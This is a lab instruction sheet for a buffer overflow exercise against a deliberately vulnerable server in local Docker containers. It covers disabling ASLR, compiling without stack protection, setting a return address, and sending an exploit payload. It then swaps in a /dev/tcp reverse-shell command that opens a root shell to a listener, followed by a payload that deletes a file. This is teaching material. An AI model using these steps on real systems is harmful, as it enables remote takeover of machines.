LAB-8

Download l;ab setup files from brightspace.
Next, Go to **https://filebin.net/f5sad63vx2zd4psf** and download **exploit_new.py** file. Copy the downloaded file to **attack-code** folder

Lab Setup

$ sudo /sbin/sysctl -w kernel.randomize_va_space=0

Execute below command in **servercode** folder. (That folder present in downloaded files)

$ gcc -DBUF_SIZE=$200 -o stack -z execstack -fno-stack-protector stack.c

$ make

$ make install

Execute the below commands in the lab setup folder where the **docker-compose.yml** file exists.

$ docker-compose build

$ docker-compose up

Open New Terminal-2 and execute the below command and press **Ctrl+c**

$ echo hello | nc 10.9.0.5 9090

In Terminal-1 where you ran **docker-compose up** command. At there you can find Frame Pointer (ebp), inside bof(), Buffer's address

Replace the Frame Pointer (ebp) value : **0xffffd1f8** in **exploit_new.py** at Line 35 in exploit_new.py program
(**Note**: **0xffffd1f8** is differ from system to system)

```
# Decide the return address value

# and put it somewhere in the payload

ret    = 0xffffd1f8 +16  # Change this number

offset = 112+4           # Change this number
```

Execute

$ chmod +rwx exploit_new.py

$ python3 exploit_new.py

$ sudo ./exploit_new.py

$ cat badfile | nc 10.9.0.5 9090

Again, In Terminal-1 where you ran **docker-compose up** command. At there you can find **Frame input size - 517**

server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)

TAKE SCREENSHOT

Next, Go to **exploit_new.py** source code.
Replace **"echo '(^_^) SUCCESS (^_^)' *"**

With

"/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1 *"

(Note: Make sure you are not changing the length of the string. Means don't remove space at the end of command before *")

====>Open Terminal-3, and execute the below command.

$ nc -lnv 7070

In Open Terminal-2,

$ python3 exploit_new.py

$ sudo ./exploit_new.py

$ cat badfile | nc 10.9.0.5 9090

Now, Check terminal-3, to confirm

Connection received on 10.9.0.5 45388

root@9af7fafce25e:/bof#

TAKE SCREENSHOT

Next, In established root connection go

$ cd /home/seed

create a file

$ touch sample.txt

Replace command as **"/bin/touch sample.txt; /bin/rm /home/seed/sample.txt *"** in **exploit_new.py** file

In Open Terminal-2,

$ python3 exploit_new.py

$ sudo ./exploit_new.py

$ cat badfile | nc 10.9.0.5 9090

Sample.txt file should be deleted after the above execution. So check the /home/seed directory of **root@9af7fafce25e**

$ ls

TAKE SCREENSHOT